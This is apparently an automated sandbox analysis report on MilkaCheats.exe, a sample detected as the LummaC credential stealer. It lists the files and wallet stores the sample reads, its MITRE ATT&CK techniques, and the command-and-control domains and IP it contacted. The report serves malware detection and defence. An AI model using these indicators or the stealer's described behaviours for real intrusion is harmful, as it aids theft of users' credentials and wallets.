Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1726270504.0000000001342000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1768149959.0000000001342000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MilkaCheats.exe PID: 6428, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MilkaCheats.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	151 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
MilkaCheats.exe	100%	Avira	HEUR/AGEN.1311191
MilkaCheats.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
crisiwarny.store	172.67.170.64	true	true	unknown
messejawu.store	unknown	unknown	true	unknown
presticitpo.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
messejawu.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/e	MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794077852.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1835884206.000000000136C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apihCb	MilkaCheats.exe, 00000001.00000003.1847808450.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1802215575.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848584862.0000000001361000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/apiPackages	MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/O	MilkaCheats.exe, 00000001.00000002.1848284074.00000000012E4000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MilkaCheats.exe, 00000001.00000003.1712448019.0000000003A2E000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MilkaCheats.exe, 00000001.00000003.1712448019.0000000003A2E000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/s:md	MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1835884206.000000000136C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/rjm	MilkaCheats.exe, 00000001.00000003.1767891806.000000000136C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/api	MilkaCheats.exe, MilkaCheats.exe, 00000001.00000003.1847808450.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1802215575.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1726270504.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794321232.0000000001360000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794077852.000000000135F000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1778356922.000000000135E000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1778286668.0000000001358000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1768149959.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848584862.0000000001361000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/Bm	MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1835884206.000000000136C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.microsof	MilkaCheats.exe, 00000001.00000003.1712448019.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store:443/api2o4p.default-release/key4.dbPK	MilkaCheats.exe, 00000001.00000003.1767891806.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1778631917.000000000136C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	MilkaCheats.exe, 00000001.00000003.1847565217.00000000012E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.170.64	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543311
Start date and time:	2024-10-27 16:44:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MilkaCheats.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/6@3/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 77% Number of executed functions: 8 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MilkaCheats.exe, PID 6428 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: MilkaCheats.exe

Simulations

Behavior and APIs

Time	Type	Description
11:44:57	API Interceptor	9x Sleep call for process: MilkaCheats.exe modified
11:45:15	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.170.64	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	104.21.44.95
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	172.67.198.131
	care.rtf	Get hash	malicious	Unknown	Browse	104.21.43.157
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	na.doc	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	SecuriteInfo.com.Win32.Evo-gen.20836.29869.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MilkaCheats.exe_c2e8cd84136b88415cdd6f491f1eb232dba620bf_a9999437_fdaf37f7-0491-4405-b11e-478f369dae63\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7129085719177475
Encrypted:	false
SSDEEP:	96:yWFnVToA55svtfoI7RT6tQXIDcQvc6QcEVcw3cE/H+HbHg/8BRTf3Oy1FhZAX/dd:99RX55y0BU/Aju1zuiF+Z24IO8H
MD5:	E7E58F7E7D20E2D5495FAB587B91B753
SHA1:	2CCF52F2597E7096EB49A7C127148913273484AE
SHA-256:	5D178FBEE9A7FB39D90B4CC881DCF8473F099A9E61521C13E3B8CF6EEC9E837E
SHA-512:	5C02E46C831A3F29D8200AD2BAD7E58DD86605878B1768245BFF51B5AE9DA7AE34C989CCC808F7089EE39F53B7C768E3669578B7CEFEAB5AB78D9ACF4F212DA2
